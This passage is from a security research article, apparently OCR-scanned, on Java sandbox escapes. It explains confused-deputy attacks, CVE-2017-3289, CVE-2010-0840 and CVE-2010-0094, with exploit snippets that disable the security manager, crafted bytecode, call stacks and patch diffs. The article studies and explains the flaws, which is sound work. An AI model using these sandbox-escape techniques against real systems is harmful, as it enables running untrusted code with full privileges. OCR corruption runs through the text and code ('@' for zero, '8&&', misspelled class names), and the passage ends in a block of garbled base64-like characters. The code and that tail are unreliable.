specifically for this case, which loads classes without properly checking
access permissions. Thus, _Expression_ serves as our confused deputy here

that loads a class for us that we would otherwise not be allowed to load.

As a next step, we use SunToolkit.getField() to get access to the private

field Statement.acc.

1: Expression exprl = new Expression(sunToolkit, "getField",
2: new Object[] {Statement.class, "acc"});
3: Field acc = exprl.execute().getValue();

getField() is another confused deputy, on whose behalf we get reflective
access to a private field of a system class. The following snippet shows
that getField() uses doPrivileged() to get the requested field, and also
set it accessible, so that its value can be modified later.

———————————————————————————— | SunToolkit.java |--------=-----c-ccommmem
1: public static Field getField(final Class klass,
2 final String fieldName) {
3 return AccessController.doPrivileged(
4 new PrivilgedAction<Field>() {
5: public Field run() {
6
7
8
9

Field field = klass.getDeclaredField(fieldName);

field.setAccessible(true);



10: return field;

Next, we create an _AccessControlContext_ which is assigned all

permissions.

1: Permissions permissions = new Permissions();

2: permissions.add(new AllPermission());

3: ProtectionDomain pd = new ProtectionDomain(new CodeSource(
4: new URL("file:///"), new Certificate[@]), permissions);
5: AccessControlContext newAcc =

6

AccessControlContext(new ProtectionDomain[] {pd});

_Statement_ objects can represent arbitrary method calls. When an instance
of _Statement_ is created, it stores the current security context in
Statement.acc. When calling Statement.execute(), it will execute the call
it represents within the security context that has originally been stored
in Statement.acc to ensure that it calls the method with the same

privileges as if it were called directly.

We next create a _Statement_ that represents the call
System.setSecurityManager(null) and overwrite its _AccessControlContext_
stored in Statement.acc with our new _AccessControlContext_ that has all

permissions.

1: Statement stmt = new Statement(System.class, "setSecurityManager",
2: new Object[1]);
3: acc.set(stmt, newAcc)

Finally, we call stmt.execute() to actually perform the call to
setSecurityManager(). This call will succeed, because we have replaced the
security context in stmt.acc with a security context that has been assigned

all privileges.
______ [ 4.1.3 - Discussion

The problem of confused deputy attacks naturally arises from the very core
concepts of Java platform security. One crucial mechanism of the sandbox is
stack-based access control, which inspects the call stack whenever
sensitive operations are attempted, thus detecting direct access from
untrusted code to sensitive class members, for example. In many cases,
however, this stack inspection terminates before all callers on the current
stack have been checked for appropriate permissions. There are two common
cases when this happens. In the first case, one of the callers on the stack
calls doPrivileged() to explicitly state that the desired action is deemed
secure, even if called from unprivileged code. While doPrivileged()
generally is a sensible mechanism, it can also be used incorrectly in
situations where not all precautions have been taken to actually ensure
that a specific operation is secure. In the second case, a method in a

system class will manually check properties of the immediate caller only,



and skip the JVM's access control mechanism that would inspect also the
other callers on the stack. In both these cases can analysts profit from
incomplete stack walks by performing certain sensitive actions simply on

behalf of system classes.

----[ 4.2 - Uninitialized Instance

------ [ 4.2.1 - Background

A crucial step in Java object initialization is calling the constructor of
the respective type. Constructors contain necessary code for variable
initialization, but may also contain security checks. It is therefore
important for the security and stability of the platform to enforce that
constructors are actually called before object initialization completes and

methods of the type are invoked by other code.

Enforcing constructor calls is in the responsibility of the bytecode
verifier, which checks all classes during loading to ensure their validity.
This also includes, for instance, checking that jumps land on valid
instructions and not in the middle of an instruction, and checking that the
control flow ends with a return instruction. Furthermore, it also checks
that instructions operate on valid types, which is required to prevent type

confusion attacks, which we presented in Section 3.1.1.

Historically, to check type validity, the JVM relied on a data flow
analysis to compute a fix point. This analysis may require to perform
multiple pass over the same paths. As this is time consuming, and may
slower the class loading process, a new approach has been developed to
perform the type checking in linear time where each path is only checked
once. To achieve that, meta-information called stack map frames have been
added along the bytecode. In brief, stack map frames describe the possible
types at each branch targets. Stack map frames are stored in a structure
called the stack map table [25].

There is an uninitialized instance vulnerability when the analyst is able
to create an instance on which the call to <init>(*), the constructor of
the object or the constructor of the super class, is not executed. This
vulnerability directly violates the specification of the virtual machine
[21]. The consequences on the security of the JVM is that with an
uninitialized instance vulnerability an analyst can instantiate objects he
should not be able to and have access to properties and methods he should

not have access to. This could potentially lead to a sandbox escape.

------ [ 4.2.2 - Example: CVE-2017-3289

The description of the CVE indicates that "Successful attacks of this
vulnerability can result in takeover of Java SE, Java SE Embedded." [22].
As for CVE-2017-3272, this means it might be possible to exploit the

vulnerability to escape the Java sandbox.

Redhat's bugzilla indicates that "An insecure class construction flaw,
related to the incorrect handling of exception stack frames, was found in
the Hotspot component of OpenJDK. An untrusted Java application or applet
could use this flaw to bypass Java sandbox restrictions." [23]. This

informs the analyst that (1) the vulnerability lies in C/C++ code (Hotspot



is the name of the Java VM) and that (2) the vulnerability is related to an
illegal class construction and to exception stack frames. Information (2)
indicates that the vulnerability is probably in the C/C++ code checking the
validity of the bytecode. The page also links to the OpenlDK's patch for

this vulnerability.

The Open]DK's patch "8167104: Additional class construction refinements"
fixing the vulnerability is available online [24]. Five C++ files are
patched: "classfile/verifier.cpp", the class responsible for verifying the
structure and the validity of a class file, "classfile/stackMapTable.{cpp,
hpp}", the files handling the stack map table, and
"classfile/stackMapFrame.{cpp, hpp}", the files representing the stack map

frames.

By looking at the diff, one notices that function

StackMapFrame: :has_flag_match_exception() has been removed and a condition,
which we will refer to as C1, has been updated by removing the call to
has_flag _match_exception(). Also, methods match_stackmap() and
is_assignable_to() have now one less parameter: "bool handler" has been
removed. This parameter "handler" is set to "true" if the verifier is
currently checking an exception handler. Condition C1 is illustrated in the

following listing:

- bool match_flags = (_flags | target->flags()) == target->flags();
- if (match_flags || is_exception_handler 8&&

has_flag match_exception(target)) {
+ if ((_flags | target->flags()) == target->flags()) {

return true;

This condition is within function is_assignable_to() which checks if the
current stack map frame is assignable to the target stack map frame, passed
as a parameter to the function. Before the patch, the condition to return
"true" was "match_flags || is_exception_handler 8&&
has_flag_match_exception(target)"”. In English, this means that flags for
the current stack map frame and the target stack map frame are the same or
that the current instruction is in an exception handler and that function
"has_flag match_exception” returns "true". Note that there is only one kind
of flag called "UNINITIALIZED THIS" (aka FLAG_THIS_UNINIT). If this flag is
true, it indicates that the object referenced by "this" is uninitialized,
i.e., its constructor has not yet been called.

After the patch, the condition becomes "match_flags". This means that, in
the vulnerable version, there is probably a way to construct bytecode for
which "match_flags" is false (i.e., "this" has the uninitialized flag in
the current frame but not in the target frame), but for which
"is_exception_handler" is "true" (the current instruction is in an
exception handler) and for which "has_flag match_exception(target)" returns

"true". But when does this function return "true"?

Function has_flag match_exception() is represented in the following



listing.

1:

2: bool StackMapFrame::has_flag match_exception(

3: const StackMapFrame* target) const {

4:

5: assert(max_locals() == target->max_locals() &&

6: stack_size() == target->stack_size(),

7: "StackMap sizes must match");

8:

9: VerificationType top = VerificationType::top_type();

10: VerificationType this_type = verifier()->current_type();
11:

12:  if (!flag_this_uninit() || target->flags() !'= @) {

13: return false;

14: }

15

16: for (int i = @; 1 < target->locals_size(); ++i) {

17: if (locals()[i] == this_type &% target->locals()[i] != top) {
18: return false;

19: }

20: }

21:

22: for (int i = @; i < target->stack_size(); ++i) {

23: if (stack()[i] == this_type && target->stack()[i] != top) {
24: return false;

25: }

26: }

27:

28: return true;

29: }

30:

In order for this function to return "true" all the following conditions
must pass: (1) the maximum number of local variables and the maximum size
of the stack must be the same for the current frame and the target frame
(lines 5-7); (2) the current frame must have the "UNINIT" flag set to
"true" (line 12-14); and (3) uninitialized objects are not used in the
target frame (lines 16-26).

The following listing illustrates bytecode that satisfies the three

conditions:

: new // class java/lang/Throwable

dup

invokespecial // Method java/lang/Throwable."<init>":()V

athrow

new // class java/lang/RuntimeException

dup

invokespecial // Method java/lang/RuntimeException."<init>":()V

N oo W N RO

: athrow



8: return
Exception table:
from to target type
%] 4 8 Class java/lang/Throwable
StackMapTable: number_of_entries = 2
frame at instruction 3
local = [UNINITIALIZED THIS]
stack = [ class java/lang/Throwable ]
frame at instruction 8
locals = [TOP]
stack = [ class java/lang/Throwable ]

The maximum number of locals and the maximum stack size can be set to 2 to
satisfy the first condition. The current frame has "UNINITIALIZED_THIS" set
to true at line 3 to satisfy the second condition. Finally, to satisfy the
third condition, uninitialized locals are not used in the target of the
"athrow" instruction (line 8) since the first element of the local is
initialized to "TOP".

Note that the code is within a try/catch block to have
"is_exception_handler" set to "true" in function is_assignable_to().
Moreover, notice that the bytecode is within a constructor (<init>() in
bytecode). This is mandatory in order to have flag "UNINITIALIZED THIS" set
to true.

We now know that the analyst is able to craft bytecode that returns an
uninitialized object of itself. At a first glance, it may be hard to see
how such an object could be used by the analyst. However, a closer look
reveals that such a manipulated class could be implemented as a subclass of
a system class, which can be initialized without calling super.<init>(),
the constructor of the super class. This can be used to instantiate public
system classes that can otherwise not be instantiated by untrusted code,
because their constructors are private, or contain permission checks. The
next step is to find such classes which offer "interesting" functionalities
to the analyst. The aim is to combine all the functionalities to be able to
execute arbitrary code in a sandbox environment, hence bypassing the
sandbox. Finding useful classes is, however, a complicated task by itself.

Specifically, we are facing the following challenges.

Challenge 1: Where to look for helper code

The JRE ships with numerous jar files containing JCL (Java Class Library)
classes. These classes are loaded as _trusted_ classes and may be leveraged
when constructing an exploit. Unfortunately for the analyst, but
fortunately for Java users, more and more of the classes are tagged as
"restricted" meaning that _untrusted_ code cannot directly instantiate
them. The number of restricted packages went from one in 1.6.0_01 to 47 in
1.8.0_121. This means that the percentage of code that the analyst cannot
directly use when building an exploit went from 20% in 1.6.0_01 to 54% in
1.8.0_121.

Challenge 2: Fields may not be initialized

Without the proper permission it is normally not possible to instantiate a



new class loader. The permission of the _ClasslLoader_ class being checked
in the constructor it seems, at first sight, to be an interesting target.
With the vulnerability of CVE-2017-3289 it is indeed possible to
instantiate a new class loader without the permission since the constructor
code -- and thus the permission check -- will not be executed. However,
since the constructor is bypassed, fields are initialized with default
values (e.g, zero for integers, null for references). This is problematic
since the interesting methods which normally allows to define a new class
with all privileges will fail because the code will try to dereference a
field which has not been properly initialized. After manual inspection it
seems difficult to bypass the field dereference since all paths are going
through the instruction dereferencing the non-initialized field. Leveraging
the _ClasslLoader_ seems to be a dead end. Non-initialized fields is a major
challenge when using the vulnerability of CVE-2017-3289: in addition to the
requirements for a target class to be public, non-final and non-restricted,
its methods of interest should also not execute a method dereferencing

uninitialized fields.

We have not yet found useful helper code for Java version 1.8.0 update 112.
To illustrate how the vulnerability of CVE-2017-3289 works we will show
alternative helper code for exploits leveraging 0422 and 0431. Both
exploits rely on _MBeanInstantiator_, a class that defines method
findClass() which can load arbitrary classes. Class _MBeanInstantiator_ has
only private constructors, so direct instantiation is not possible.
Originally, these exploits use _JmxMBeanServer_ to create an instance of
_MBeanInstantiator_. We will show that an analyst can directly subclass

_MBeanInstantiator_ and use vulnerability 3289 to get an instance of it.

The original helper code to instantiate _MBeanInstantiator_ relies on

_JImxMBeanServer_ as shown below:

1: JmxMBeanServerBuilder serverBuilder = new JmxMBeanServerBuilder();
2: JmxMBeanServer server =

3: (ImxMBeanServer) serverBuilder.newMBeanServer("", null, null);
4

: MBeanInstantiator instantiator = server.getMBeanInstantiator();

The alternative code to instantiate _MBeanInstantiator_ leverages the
vulnerability of CVE-2017-3289:

: public class PoCMBeanInstantiator extends java.lang.Object {
public PoCMBeanInstantiator(ModifiableClassLoaderRepository clr) {

throw new RuntimeException();

public static Object get() {

return new PoCMBeanInstantiator(null);

Note that since _MBeanInstantiator_ does not have any public constructor,

_PoCMBeanInstantiator_ has to extend a dummy class, in our example



_java.lang.Object_, in the source code. We use the ASM [28] bytecode
manipulation library, to change the super class of _PoCMBeanInstantiator_
to _MBeanInstantiator_. We also use ASM to change the bytecode of the
constructor to bypass the call to super.<init>(*).

Since Java 1.7.0 update 13, Oracle has added _com.sun.jmx._ as a restricted
package. Class _MBeanInstantiator_ being in this package, it is thus not

possible to reuse this helper code in later versions of Java.

To our surprise, this vulnerability affects more than 4@ different public
releases. All Java 7 releases from update © to update 80 are affected. All
Java 8 releases from update 5 to update 112 are also affected. Java 6 is
not affected.

By looking at the difference between the source code of the bytecode
verifier of Java 6 update 43 and Java 7 update @, we notice that the main
part of the diff corresponds to the inverse of the patch presented above.
This means that the condition under which a stack frame is assignable to a
target stack frame within an exception handler in a constructor has been
weakened. Comments in the diff indicate that this new code has been added
via request 7020118 [26]. This request asked to update the code of the
bytecode verifier in such a way that NetBeans' profiler can generate

handlers to cover the entire code of a constructor.

The vulnerability has been fixed by tightening the constraint under which
the current stack frame -- in a constructor within a try/catch block -- can
be assigned to the target stack frame. This effectively prevents bytecode

from returning an uninitialized " "this'' object from the constructor.

As far as we know, there are at least three publicly known _uninitialized
instance_ vulnerabilities for Java. One is CVE-2017-3289 described in this
paper. The second has been discovered in 2002 [29]. The authors also
exploited a vulnerability in the bytecode verifier which enables to not
call the constructor of the super class. They have not been able to develop
an exploit to completely escape the sandbox. They were able, however, to
access the network and read and write files to the disk. The third has been
found by a research group at Princeton in 1996 [30]. Again, the problem is
within the bytecode verifier. It allows for a constructor to catch
exceptions thrown by a call to super() and return a partially initialized
object. Note that at the time of this attack the class loader class did not
have any instance variable. Thus, leveraging the vulnerability to
instantiate a class loader gave a fully initialized class loader on which

any method could be called.

______ [ 4.2.3 - Discussion

The root cause of this vulnerability is a modification of the C/C++
bytecode validation code which enables an analyst to craft Java bytecode
which is able not to bypass the call to super() in a constructor of a
subclass. This vulnerability directly violates the specification of the
virtual machine [21].

However, this vulnerability is useless without appropriate _helper_ code.
Oracle has developed static analysis tools to find dangerous gadgets and

blacklist them [31]. This makes it harder for an analyst to develop an



exploit bypassing the sandbox. Indeed, we have only found interesting
gadgets that work with older versions of the JVM. Since they have been
blacklisted in the latest versions, the attack does not work anymore.
However, even though the approach relies on static analysis, it (1) may
generate many false positives which makes it harder to identify real
dangerous gadgets and (2) might have false negatives because it does not
faithfuly model all specificities of the language, typically reflection and

IJNI, and thus is not sound.

----[ 4.3 - Trusted Method Chain

------ [ 4.3.1 - Background

Whenever a security check is performed in Java, the whole call stack is
checked. Each frame of the call stack contains a method name identified by
its class and method signature. The idea of a trusted method chain attack
is to only have trusted classes on the call stack. To achieve this, an
analyst typically relies on reflection features present in trusted classes
to call target methods. That way, no application class (untrusted) will be
on the call stack when the security check is done and the target methods
will execute in a privileged context (typically to disable the security
manager). In order for this approach to work the chain of methods has to be
on a privileged thread such as the event thread. It will not work on the
main thread because the class with the main method is considered untrusted

and the security check will thus throw an exception.

—————— [ 4.3.2 - Example: CVE-2010-0840

This vulnerability is the first example of a trusted method chain attack
against the Java platform [32]. It relies on the _java.beans.Statement_
class to execute target methods via reflection. The exploit injects a
_JList_ GUI element ("A component that displays a list of objects and
allows the user to select one or more items." [33]) to force the GUI thread

to draw the new element. The exploit code is as follows:

// target method

Object target = System.class;

String methodName = "setSecurityManager";
Object[] args = new Object[] { null };

Link 1 = new Link(target, methodName, args);

final HashSet s = new HashSet();
s.add(1);

Map h = new HashMap() {
public Set entrySet() {

return s;

boh

sList = new JList(new Object[] { h });

The target method is represented as a _Statement_ through the _Link_



object. The _Link_ class is not a class from the JCL but a class
constructed by the analyst. The _Link_ class is a subclass of _Expression_
which is a subclass of _Statement_. The _Link_ object also implements,
although in a fake way, the getValue() method of the _java.util.Map.Entry_
interface. It is not a real implementation of the _Entry_ interface because
only the getValue() method is present. This "implementation" cannot be done
with a normal javac compiler and has to be done by directly modifying the

bytecode of the _Link_ class.

interface Entry<K,V> {
[...]
/**
* Returns the value corresponding to this entry. If the mapping
* has been removed from the backing map (by the iterator's
* <tt>remove</tt> operation), the results of this call are

* undefined.

* @return the value corresponding to this entry
* @throws IllegalStateException implementations may, but are not

* required to, throw this exception if the entry has been
* removed from the backing map.

*/

V getValue();

[...]

This interface has the getValue() method. It turns out that the
_Expression_ class also has a getValue() method with the same signature.
That is why at runtime calling Entry.getValue() on an object of type

_Link_, faking the implementation of _Entry_, can succeed.

// in AbstractMap

public String toString() {
Iterator<Entry<K,V>> i = entrySet().iterator();
if (! i.hasNext())

return "{}";

StringBuilder sb = new StringBuilder();
sb.append('{"');
for (55) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
sb.append(key == this ? "(this Map)" : key);
sb.append('=");
sb.append(value == this ? "(this Map)" : value);
if (! i.hasNext())
return sb.append('}').toString();
sb.append(',"').append(' ');



The analyst aims at calling the AbstractMap.toString() method to call
Entry.getValue() on the _Link_ object which calls the invoke() method:

public Object getValue() throws Exception {
if (value == unbound) {
setValue(invoke());

}

return value;

The invoke method executes the analyst's target method
System.setSecurityManapger(null) via reflection to disable the security
manager. The call stack when this method is invoked through reflection
looks like this:

at java.beans.Statement.invoke(Statement.java:235)

at java.beans.Expression.getValue(Expression.java:98)

at java.util.AbstractMap.toString(AbstractMap.java:487)

at javax.swing.DefaultListCellRenderer.getListCellRendererComponent
(DefaultListCellRenderer.java:125)

at javax.swing.plaf.basic.BasiclListUI.updatelLayoutState
(BasiclListUI.java:1337)

at javax.swing.plaf.basic.BasiclListUI.maybeUpdatelLayoutState
(BasicListUI.java:1287)

at javax.swing.plaf.basic.BasicListUI.paintImpl(BasicListUI.java:251)

at javax.swing.plaf.basic.BasicListUI.paint(BasicListUI.java:227)

at javax.swing.plaf.ComponentUI.update(ComponentUI.java:143)

at javax.swing.JComponent.paintComponent(JComponent.java:758)

at javax.swing.JComponent.paint(JComponent.java:1022)

at javax.swing.JComponent.paintChildren(JComponent.java:859)

at javax.swing.JComponent.paint(JComponent.java:1031)

at javax.swing.JComponent.paintChildren(JComponent.java:859)

at javax.swing.JComponent.paint(JComponent.java:1031)

at javax.swing.JLayeredPane.paint(JLayeredPane.java:564)

at javax.swing.JComponent.paintChildren(JComponent.java:859)

at javax.swing.JComponent.paint(JComponent.java:1031)

at javax.swing.JComponent.paintToOffscreen(JComponent.java:5104)

at javax.swing.BufferStrategyPaintManager.paint
(BufferStrategyPaintManager.java:285)

at javax.swing.RepaintManager.paint(RepaintManager.java:1128)

at javax.swing.JComponent._ paintImmediately(JComponent.java:5052)

at javax.swing.JComponent.paintImmediately(JComponent.java:4862)

at javax.swing.RepaintManager.paintDirtyRegions
(RepaintManager.java:723)

at javax.swing.RepaintManager.paintDirtyRegions
(RepaintManager.java:679)

at javax.swing.RepaintManager.seqPaintDirtyRegions
(RepaintManager.java:659)

at javax.swing.SystemEventQueueUtilities$ComponentWorkRequest.run
(SystemEventQueueUtilities.java:128)

at java.awt.event.InvocationEvent.dispatch(InvocationEvent.java:209)

at java.awt.EventQueue.dispatchEvent(EventQueue.java:597)



at java.awt.EventDispatchThread.pumpOneEventForFilters
(EventDispatchThread.java:273)

at java.awt.EventDispatchThread.pumpEventsForFilter
(EventDispatchThread.java:183)

at java.awt.EventDispatchThread.pumpEventsForHierarchy
(EventDispatchThread.java:173)

at java.awt.EventDispatchThread.pumpEvents
(EventDispatchThread.java:168)

at java.awt.EventDispatchThread.pumpEvents
(EventDispatchThread.java:160)

at java.awt.EventDispatchThread.run(EventDispatchThread.java:121)

The first observation is that there are no untrusted class on the call
stack. Any security check performed on the elements of the call stack will

pass.

As seen on the call stack above, the paint operation
(RepaintManager.java:1128) ends up calling the
getListCellRendererComponent() method (DefaultListCellRenderer.java:125).
The _JList_ constructor takes as a parameter a list of the item elements.
This method in turn calls the toString() method on the items. The first
element being a _Map_ calls getValue() on all its items. The method
getValue() calls Statement.invoke() which calls the analyst's target method

via reflection.

______ [ 4.3.3 - Discussion

This vulnerability has been patched by modifying the Statement.invoke()
method to perform the reflective call in the _AccessControlContext_ of the
code which created the _Statement_. This exploit does not work on recent
version of the JRE because the untrusted code which creates the _Statement_

does not have any permission.

----[ 4.4 - Serialization

------ [ 4.4.1 - Background

Java allows for transforming objects at runtime to byte streams, which is
useful for persistence and network communications. Converting an object
into a sequence of bytes is called serialiation, and the reverse process of
converting a byte stream to an object is called deserialization,
accordingly. It may happen that part of the deserialization process in done
in a privileged context. An analyst can leverage this by instantiating
objects that he would normally not be allowed to instantiate due to lacking
permissions. A typical example is the class _java.lang.ClassLoader_. An
analyst (always in the context of having no permission) cannot directly
instantiate a subclass _S_ of _ClasslLoader_ because the constructor of
_ClassLoader_ checks whether the caller has permission CREATE_CLASSLOADER.
However, if he finds a way to deserialize a serialized version of _S_ in a
privileged context, he may end up having an instance of _S_. Note that the
serialized version of _S_ can be created by the analyst outside the scope
of an attack (e.g., on his own machine with a JVM with no sandbox). During
the attack, the serialized version is just data representing an instance of
_S_. In this section we show how to exploit CVE-2010-0094 to make use of



system code that deserializes data provided by the analyst in a privileged
context. This can be used to execute arbitrary code and thus bypass all

sandbox restrictions.

------ [ 4.4.2 - Example: CVE-2010-0094

The vulnerability CVE-2010-0094 [35] lies in method
RMIConnectionImpl.createMBean(String, ObjectName, ObjectName,
MarshalledObject, String[], Subject). The fourth argument of type
_MarshalledObject_ contains a byte representation of an object _S_ which is
deserialized in a privileged context (within a call to doPrivileged() with
all permissions). The analyst can pass an arbitrary object to createMBean()
for deserialization. In our case, he passes a subclass of

_java.lang.ClassLoader_:

In a vulnerable version of the JVM (1.6.0_17 for instance), the call stack

when object _S_ is instantiated is the following:

1: Thread [main] (Suspended (breakpoint at line 226 in ClasslLoader))

2: S(ClassLoader).<init>() line: 226 [local variables
unavailable]
4: GeneratedSerializationConstructorAccessorl.newInstance(Object[])

line: not available
Constructor<T>.newInstance(Object...) line: 513
ObjectStreamClass.newInstance() line: 924
MarshalledObject$MarshalledObjectInputStream
(ObjectInputStream).readOrdinaryObject(boolean) line: 1737

10: MarshalledObject$MarshalledObjectInputStream
(ObjectInputStream).readObject@(boolean) line: 1329

12: MarshalledObject$MarshalledObjectInputStream
(ObjectInputStream).readObject() line: 351

14: MarshalledObject<T>.get() line: 142

15: RMIConnectionImpl$6.run() line: 1513

16: AccessController.doPrivileged(PrivilegedExceptionAction<T>)

line: not available [native method]

18: RMIConnectionImpl.unwrap(MarshalledObject, ClasslLoader,
Class<T>) line: 1505

20: RMIConnectionImpl.access$500(MarshalledObject, ClassLoader,
Class) line: 72

22: RMIConnectionImpl$7.run() line: 1548

23: AccessController.doPrivileged(PrivilegedExceptionAction<T>)

line: not available [native method]

25: RMIConnectionImpl.unwrap(MarshalledObject, ClasslLoader,
ClassLoader, Class<T>) line: 1544

27: RMIConnectionImpl.createMBean(String, ObjectName, ObjectName,
MarshalledObject, String[], Subject) line: 376

29: Exploit.exploit() line: 79

30: Exploit(BypassExploit).run_exploit() line: 24

31: ExploitBase.run(ExploitBase) line: 20



32: Exploit.main(String[]) line: 19

We observe that the deserialization happens within a privileged context
(within a doPrivileged() at line 16 and line 23). Notice that it is the
constructor of the _ClassLoader_ class (<init>(), trusted code) which is on
the stack and not the constructor of _S_ (the analyst class, untrusted
code). Note that at line 2 "S(ClassLoader)" means that _ClassLoader_ is on
the stack, not _S_. If _S_would have been on the stack, the permission
check in the _ClasslLoader_ constructor would have thrown a security
exception since untrusted code (thus without the permission) is on the
stack. Why then is _S_not on the call stack? The answer is given by the
documentation of the serialization protocol [34]. It says that the
constructor which is called is the first constructor of the class hierarchy
not implementing the _Serializable_ interface. In our example _S_
implements _Serializable_ so its constructor is not called. _S_ extends
_ClassLoader_ which does not implement _Serializable_. Thus, the empty
constructor of _ClasslLoader_ is called by the deserialization system code.
As a consequence, the stack trace only contains trusted system classes on
the stack within the privileged context (there can be untrusted code after
doPrivileged() since a permission check will stop at the doPrivileged()
method when checking the call stack). The permission check in the

_ClassLoader_ will succeed.

However, later in the system code, this instance of _S_ is cast to a type
which is nor _S_, neither _ClasslLoader_. So, how can the analyst retrieve
this instance? One solution is to add a static field to _S_ as well as a
method to the _S_ class to save the reference of the instance of _S_ in the
static field:

public class S extends ClassLoader implements Serializable {
public static S myCL = null;
private void readObject(java.io.ObjectInputStream in)
throws Throwable {
S.myCL = this;

The readObject() method is a special method called during deserialization
(by readOrdinaryObject() at line 8 in the above call stack). No permission
check is done at this point, so untrusted code (S.readObject() method) can
be on the call stack.

The analyst now has access to an instance of _S_. Since _S_ is a subclass
of _ClassLoader_, the analyst can define a new class with all privileges
and disable the security manager (similar approach as in Section 3.1.1). At
this point, the sandbox is disabled and the analyst can execute arbitrary

code.

This vulnerability affects 14 versions of Java 1.6 (from version 1.6.0_01

to 1.6.0_18). It has been corrected in version 1.6.0_24.

The combination of the following "features" enables the analyst to bypass



the sandbox: (1) trusted code allows deserialization of data controlled by
untrusted code, (2) deserialization is taking place in a privileged
context, and (3) creating an object by means of deserialization follows a
different procedure than regular object instantiation.

The vulnerability CVE-2010-0094 has been fixed in Java 1.6.0 update 24. The
two calls to doPrivileged() have been removed from the code. In the patched
version, when _ClasslLoader_ is initialized, the permission check fails
since the whole call stack is now checked (see the new call stack below).
Untrusted code at lines 21 and below does not have permission
CREATE_CLASSLOADER.

1: Thread [main] (Suspended (breakpoint at line 226 in ClasslLoader))

2: MyClassLoader(ClassLoader).<init>() line: 226 [local variables
unavailable]
4: GeneratedSerializationConstructorAccessorl.newInstance(Object[])

line: not available
Constructor<T>.newInstance(Object...) line: 513

ObjectStreamClass.newInstance() line: 924

8: MarshalledObject$MarshalledObjectInputStream

(ObjectInputStream).readOrdinaryObject(boolean) line: 1736

10: MarshalledObject$MarshalledObjectInputStream(ObjectInputStream)
.readObject@(boolean) line: 1328

12: MarshalledObject$MarshalledObjectInputStream(ObjectInputStream)
.readObject() line: 350

14: MarshalledObject<T>.get() line: 142

15: RMIConnectionImpl.unwrap(MarshalledObject, ClasslLoader,
Class<T>) line: 1523

17: RMIConnectionImpl.unwrap(MarshalledObject, ClasslLoader,
ClassLoader, Class<T>) line: 1559

19: RMIConnectionImpl.createMBean(String, ObjectName, ObjectName,
MarshalledObject, String[], Subject) line: 376

21: Exploit.exploit() line: 79

22: Exploit(BypassExploit).run_exploit() line: 24

23: ExploitBase.run(ExploitBase) line: 20

24: Exploit.main(String[]) line: 19

______ [ 4.4.3 - Discussion

This vulnerability shows that specificities of the serialization protocol
(only a specific constructor is called) can be exploited together with
vulnerable system code that deserializes analyst-controlled data in a
privileged context to bypass the sandbox and run arbitrary code. As the
serialization protocol cannot be easily modified for backward compatibility

reasons, the vulnerable code has been patched.

--[ 5 - Conclusion

In this article, we focused on the Java platform's complex security model,
which has been attacked for roughly two decades now. We showed that the
platform comprises native components (like the Java virtual machine), as
well as a large body of Java system classes (the JCL), and that there has
been a broad range of different attacks on both parts of the system. This



includes low-level attacks such as memory corruption vulnerabilities on the
one hand, but also Java-level attacks on policy enforcement, like
trusted-method-chaining attacks for example. This highlights how difficult

a task it is to secure the platform for practical use.

We presented this article as a case study to illustrate how a complex
system such as the Java platform fails at securely containing the execution
of potentially malicious code. Hopefully, this overview of past Java
exploits provides insights that help us design more robust systems in the

future.
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VhsDN+7hc30kZYDZA4VcEKh2FnC9YiVboI5L3MDu3nR6NMNUWSKCVIzIfvkavF67joN9H/gxeF3
3F+07j1696uf5V6r97ekduXKSVj+EUKFLvAhuwjoOogBFotaotSAKthGMOTveDrpT39508J41itN
iafwJiGV9C3G0IYy62kKiqbVIR81aWcdT140uI4B1In20L472w8c1pa39yyI6pfRKRF3zyVddi7
Rjt6/1jObeuulKZLv9D5BizA4xzgp9r]033dVE8jHoLOfmhBTkpLNBeNOH7vbiHOXAjIsNRUMsd
IeMuwGPntE/edzm4ftFoal20x7mh50W315dQ9QMnqIVOROenFOKHEI8a/9/0W6p/z1VAeTAQh7E
Gjg90W1AHQgNLMt+pW6PZ96k3vTNIKamdjeBkZzvuGtWd9iPdu6IU4igXEm1CptGOadvBHL59 ]
cdtPog2hBVqJoPewy8sYhu7+CxtbmXxNN+YzTE2yXduaPaq9/fuEH67dsxNEMScnf4icb5bt12G
yIN6QSd2cb+FdK8In5rVcCsLm+UkitBLSK106aKA1l/SHe58tPptgN4n@X60nNUGEdToYSBTLmMIC
dOEX1MkbePf1lL/jVK/evEM2gGqybKvYbNOBY1gcUD+sRtdFvD1yHbOClgyMAC7v+didjKGjszU7
3pMnhvezWQbxp4dQxFkxdIkdQMb6iG8DQTYVky1BRON3fg2p2ddvNa6xQ4YLYy1WUETeS8RGFD7b
nbZhub9La2BdQ8r40jc+ZdezBek7VnMA831IGXQ1q73QphB7Mdw8+HjDMxS1USTT59vwLOp/NIW9
LQ1canUyoAUK6RMyAJ9SmUhvDG4SBzfcsYt/aC3E6KUjAXkWhOEtUR9YrAOpLHGZEgUenGSfoQa



MBVyQZdnXpe+d5iku7djtQIiakb40XPGrYOr5Ke55xHbv/GDvX3WjWHOk8Rr+fED3Hua/AdQSWM
EFAAAAAgACM/ZTKNF/W16AwWAAjggAADAAHABjb2R1L21udGVnZXItb3Z1cmZsb3dfQ1lZFLTIWMT
UtNDgOMy9NalW5pbWFsLmphdmFVVAKAAY jZMFuX2TBbdXgLAAEE6AMAAATOAWAAjVXbbts4EH33V
8zmRXJqy7ZqF90YBWpn85BFL4AUNWXQIgoCSKIUNRGpIKo1b5N8704s1K+62QgKTczkzc2ZIiixX
25IXds88KZS331m+LuKY6+VA9HSXOjaqweTOdACN8I86h1hpOP98Mfans8V4/nr+khQbbiyPQEn
4G93hNRR5XCYyH6YKOH5T1Z6D5F4XQ3MD4S/boL7akof+3rLAJgl7yAi5YcS81iVWRARSTMHUE1DE
cp/koGeRGkIoQwZcbAeyFFx1KA74MBWIFqBd+f+rIlyTqWxjKLP/dKRIAXxIdOrg4XcXt8A01szR
FTArwmSWRuUQ/KHZu8N1gbZ6V4WnbzIB1FrBUvVGN49JCUPIIjgic2qaUIvkG8ebT6bIWt/2ATEBV
u/dYmqoQOfeLOQytWzoPG799r0CQWxB4z0x110TR1BymNdvdqvh25YyASSj30GLgKc+4tAZaP5T
aXY50K+cXYB+Dr5jhccRjglLX9cdTI/D4Sksq3XHcoNoTxB1xcD93LSu29X325/bx69+kCIJuB7iz
2JK23j5wPZXjV5dE8bEvV2msgmyhV+3evt72nDA+WmAttRXtyeTmI51RIYoBBxczB8uUPygXvtKyt0O
AT1hQWbcNM6CKkmC1rQqLXNYA4F jQplHKa3d4fKZ2j+m7pc+pdol62cGs9rA7127ZXk0szPI1H2T
